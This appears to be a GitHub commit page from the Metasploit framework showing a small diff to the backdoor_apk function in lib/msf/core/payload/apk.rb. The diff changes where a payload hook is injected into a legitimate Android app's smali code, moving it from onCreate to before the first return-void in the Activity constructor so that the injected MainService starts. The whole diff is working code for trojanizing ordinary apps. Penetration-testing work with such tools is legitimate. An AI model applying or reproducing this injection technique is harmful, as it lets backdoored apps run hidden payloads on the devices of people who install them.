Skip to content

Commit c1e30b6

Browse files
committed
fix rapid7#7725, inject into the Activity constructor
1 parent f8f764a commit c1e30b6

File tree

1 file changed

+7
-7
lines changed

1 file changed

+7
-7
lines changed

lib/msf/core/payload/apk.rb

Lines changed: 7 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -198,12 +198,12 @@ def backdoor_apk(apkfile, raw_payload)
198198
end
199199

200200
unless activitysmali
201-
raise RuntimeError, "Unable to find hook point in #{smalifiles}\n"
201+
raise RuntimeError, "Unable to find hookable activity in #{smalifiles}\n"
202202
end
203203

204-
entrypoint = ';->onCreate(Landroid/os/Bundle;)V'
204+
entrypoint = 'return-void'
205205
unless activitysmali.include? entrypoint
206-
raise RuntimeError, "Unable to find onCreate() in #{smalifile}\n"
206+
raise RuntimeError, "Unable to find hookable function in #{smalifile}\n"
207207
end
208208

209209
# Remove unused files
@@ -226,10 +226,10 @@ def backdoor_apk(apkfile, raw_payload)
226226
File.open(newfilename, "wb") {|file| file.puts newsmali }
227227
end
228228

229-
payloadhook = entrypoint + %Q^
230-
invoke-static {}, L#{package_slash}/MainService;->start()V
231-
^
232-
hookedsmali = activitysmali.gsub(entrypoint, payloadhook)
229+
payloadhook = %Q^invoke-static {}, L#{package_slash}/MainService;->start()V
230+
231+
^ + entrypoint
232+
hookedsmali = activitysmali.sub(entrypoint, payloadhook)
233233

234234
print_status "Loading #{smalifile} and injecting payload..\n"
235235
File.open(smalifile, "wb") {|file| file.puts hookedsmali }

0 commit comments

Comments
 (0)